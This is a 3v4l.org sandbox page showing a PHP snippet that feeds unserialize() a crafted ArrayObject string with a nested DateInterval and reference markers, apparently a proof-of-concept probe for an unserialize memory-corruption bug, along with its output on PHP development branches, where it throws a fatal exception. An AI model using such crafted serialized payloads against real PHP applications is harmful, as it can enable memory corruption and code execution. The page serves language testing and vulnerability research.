3v4l.org

run code in 300+ PHP versions simultaneously
<?php class test { var $ryat; function __wakeup() { // $this->ryat = 'ryat'; } } $inner = 'x:i:0;O:12:"DateInterval":0:{};m:a:2:{i:0;r:4;i:1;r:4;}'; $exploit = 'C:11:"ArrayObject":'.strlen($inner).':{'.$inner.'}'; $data = unserialize($exploit); for($i = 0; $i < 5; $i++) { $v[$i] = 'hi'.$i; } echo(serialize($data));
Output for git.master, git.master_jit, rfc.property-hooks
Fatal error: Uncaught InvalidArgumentException: Overloaded object of type DateInterval is not compatible with ArrayObject in /in/QgZsE:14 Stack trace: #0 [internal function]: ArrayObject->unserialize('x:i:0;O:12:"Dat...') #1 /in/QgZsE(14): unserialize('C:11:"ArrayObje...') #2 {main} Next UnexpectedValueException: Error at offset 46 of 55 bytes in /in/QgZsE:14 Stack trace: #0 [internal function]: ArrayObject->unserialize('x:i:0;O:12:"Dat...') #1 /in/QgZsE(14): unserialize('C:11:"ArrayObje...') #2 {main} thrown in /in/QgZsE on line 14
Process exited with code 255.

This tab shows result from various feature-branches currently under review by the php developers. Contact me to have additional branches featured.

Active branches

Archived branches

Once feature-branches are merged or declined, they are no longer available. Their functionality (when merged) can be viewed from the main output page


preferences:
61.18 ms | 402 KiB | 8 Q